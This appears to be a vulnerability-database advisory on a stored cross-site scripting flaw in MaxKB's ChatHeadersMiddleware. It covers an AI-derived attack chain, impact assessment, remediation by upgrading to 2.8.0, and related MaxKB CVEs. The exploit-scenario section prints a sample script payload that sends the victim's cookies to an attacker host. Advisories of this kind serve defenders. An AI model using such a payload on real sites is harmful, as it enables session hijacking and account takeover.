Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to MaxKB instance
-
DeliveryInject malicious script in Name parameter
-
ExploitVictim views affected chat header
-
ExecutionJavaScript executes in victim's browser
-
ImpactAttacker captures session token or credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | This vulnerability presents low-to-moderate real-world risk despite its low CVSS score (3.5). The attack requires authentication (PR:L per CVSS vector) and user interaction (UI:R), which significantly limits exposure. The attack scope is unchanged (S:U), meaning impact is confined to the affected component. However, XSS vulnerabilities are highly reliable to exploit once authenticated access is obtained, and the practical impact (credential theft, session hijacking, malware distribution) can be severe within targeted organizations. The vendor's rapid response and availability of a patched version (2.8.0) mitigates risk for promptly-updating users. Organizations with public-facing MaxKB instances accessible to untrusted users should prioritize patching; internal-only deployments face lower risk. |
| Exploit ScenarioDerived | An authenticated attacker with access to MaxKB creates or modifies a chat session, injecting JavaScript code into the Name field (e.g., '<script>fetch("https://attacker.com/steal?cookie=" + document.cookie)</script>'). When another user (administrator or fellow team member) views the chat headers, the injected script executes in their browser, silently exfiltrating session cookies or authentication tokens to the attacker's server. This enables account takeover without triggering authentication mechanisms. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 12, 2026
Stored cross-site scripting (XSS) in 1Panel-dev MaxKB up to version 2.6.1 allows authenticated remote attackers to inject malicious scripts via the Name argument in ChatHeadersMiddleware, requiring user interaction to trigger. The vulnerability has a low CVSS score (3.5) due to requiring authentication and user interaction, but XSS can lead to session hijacking or credential theft. Vendor-released patch version 2.8.0 addresses this issue.
RemediationAI
Vendor-released patch: upgrade MaxKB to version 2.8.0 or later. The patch is available via the official GitHub repository at https://github.com/1Panel-dev/MaxKB/releases/tag/v2.8.0. The fix corresponds to commit 026a2d623e2aa5efa67c4834651e79d5d7cab1da. Organizations unable to immediately upgrade should implement input validation and output encoding controls in the ChatHeadersMiddleware to neutralize special characters in the Name parameter, though immediate patching is the recommended approach given the straightforward availability of version 2.8.0.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability exists in the ChatHeadersMiddleware component (apps/common/middleware/chat_headers_middleware.py) of MaxKB, a knowledge base management system. The root cause is improper input validation and output encoding of the Name parameter, classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The middleware fails to sanitize user-supplied input before rendering it in HTTP responses, allowing attackers to inject arbitrary JavaScript code. When the parameter is reflected or stored without proper HTML encoding, subsequent requests or page views execute the injected script in the context of other users' browsers.
Know when Maxkb gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A flaw has been found in 1Panel-dev MaxKB up to 2.6.1. This issue affects some unknown processing of the file apps/common/middleware/chat_headers_middleware.py of the component ChatHeadersMiddleware. This manipulation of the argument Name causes cross site scripting. Remote exploitation of the attack is possible. Upgrading to version 2.8.0 is capable of addressing this issue. Patch name: 026a2d623e2aa5efa67c4834651e79d5d7cab1da. Upgrading the affected component is advised. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Related Vulnerabilities in 1Panel-dev MaxKB Multiple Vulnerabilities
View all 2MaxKB prior to version 1.10.8-lts contains an incomplete sandbox implementation that only blacklists binary execution in
Command injection in MaxKB before 2.10.5-lts allows unauthenticated remote attackers to execute arbitrary shell commands
Sandbox escape and privilege escalation in MaxKB 2.3.1 and earlier allow an attacker who can submit or trigger custom Py
Server-side request forgery in MaxKB before 2.10.0 allows any authenticated user holding the default workspace USER role
Authenticated workspace members on MaxKB deployments prior to 2.10.5-lts can escalate to root-level command execution by
OS command injection in MaxKB (1Panel-dev's open-source enterprise AI assistant) before 2.10.0-lts lets an authenticated
Server-side request forgery in MaxKB (open-source AI assistant from 1Panel-dev) allows an authenticated user with permis
Privilege escalation in MaxKB 2.3.1 and earlier allows an authenticated, low-privileged user to overwrite the built-in d
Authentication bypass in MaxKB (1Panel-dev) versions prior to 2.9.0 allows remote unauthenticated attackers to invoke we
Cross-workspace read and modification of model parameter defaults in MaxKB 2.10.3-lts and earlier is possible for an aut
MaxKB versions 2.7.1 and below allow authenticated users with tool execution privileges to bypass the LD_PRELOAD-based s
MaxKB releases prior to 2.10.7-lts evaluate attacker-supplied JavaScript stored in a custom tool's Init Param definition
EUVD-2026-21688
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB